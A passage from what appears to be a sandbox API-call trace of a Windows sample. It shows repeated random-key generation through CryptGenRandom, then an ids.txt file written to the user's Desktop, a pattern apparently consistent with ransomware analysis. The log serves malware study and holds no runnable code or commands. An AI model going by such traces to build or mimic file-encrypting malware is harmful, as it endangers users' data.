szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.148] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.148] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.148] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.149] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.149] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.149] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.150] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.150] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.150] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.150] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.151] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.151] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.151] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.151] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.151] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.152] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.152] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.152] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.153] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.153] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.153] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.154] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.154] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.154] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.154] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.154] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.154] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.155] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.155] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.155] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.156] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.156] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.156] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.157] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.157] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.157] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.157] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.157] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.157] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.158] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.158] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.158] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.159] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.159] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.159] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.159] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.159] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.159] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.160] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.160] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.160] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.161] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.161] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.161] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.162] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.162] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.162] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.162] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.162] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.162] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.163] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.163] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.163] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.164] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.164] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.164] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.164] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.164] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.165] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.165] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.165] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.165] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.166] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.166] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.166] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.167] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.167] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.167] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.167] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.167] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.171] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.171] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.171] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.172] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.172] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.172] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.172] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.173] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.173] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.173] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.174] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.174] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.174] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.174] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.174] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.174] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.175] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.175] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.175] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.176] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.176] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.176] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.176] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.176] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.176] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.177] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.177] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.177] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.178] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.178] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.178] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.178] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.178] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.179] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.179] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.179] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.179] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.180] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.180] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.180] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.181] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.181] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.181] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.181] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.181] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.182] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.182] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.182] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.182] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.183] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.183] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.183] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.184] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.184] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.184] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.184] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.184] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.184] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.185] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.185] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.185] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.186] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.186] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.186] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.186] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.186] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.187] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.187] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.187] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.197] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.198] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.198] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.198] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.199] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.199] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.199] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.200] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.200] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.200] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.200] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.200] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.200] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.201] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.201] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.201] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.202] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.202] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.202] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.203] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.203] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.203] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.203] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.203] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.203] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.204] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.204] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.204] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.205] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.205] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.205] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.206] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.206] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.209] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.209] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.209] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.209] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.210] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.210] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.210] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.211] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.211] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.211] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.211] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.211] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.211] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.212] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.212] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.212] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.213] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.213] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0033.345] lstrcpynA (in: lpString1=0x44dcf7, lpString2="local", iMaxLength=57 | out: lpString1="local") returned="local" [0033.350] lstrcatA (in: lpString1="", lpString2="\r\n\r\n" | out: lpString1="\r\n\r\n") returned="\r\n\r\n" [0033.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80 [0033.378] SetFilePointer (in: hFile=0x80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.378] WriteFile (in: hFile=0x80, lpBuffer=0x508078*, nNumberOfBytesToWrite=0x41b, lpNumberOfBytesWritten=0x44dba8, lpOverlapped=0x0 | out: lpBuffer=0x508078*, lpNumberOfBytesWritten=0x44dba8*=0x41b, lpOverlapped=0x0) returned 1 [0033.379] CloseHandle (hObject=0x80) returned 1 [0033.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508078 | out: hHeap=0x4f0000) returned 1 [0033.380] GetSystemInfo (in: lpSystemInfo=0x156be0 | out: lpSystemInfo=0x156be0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0033.381] 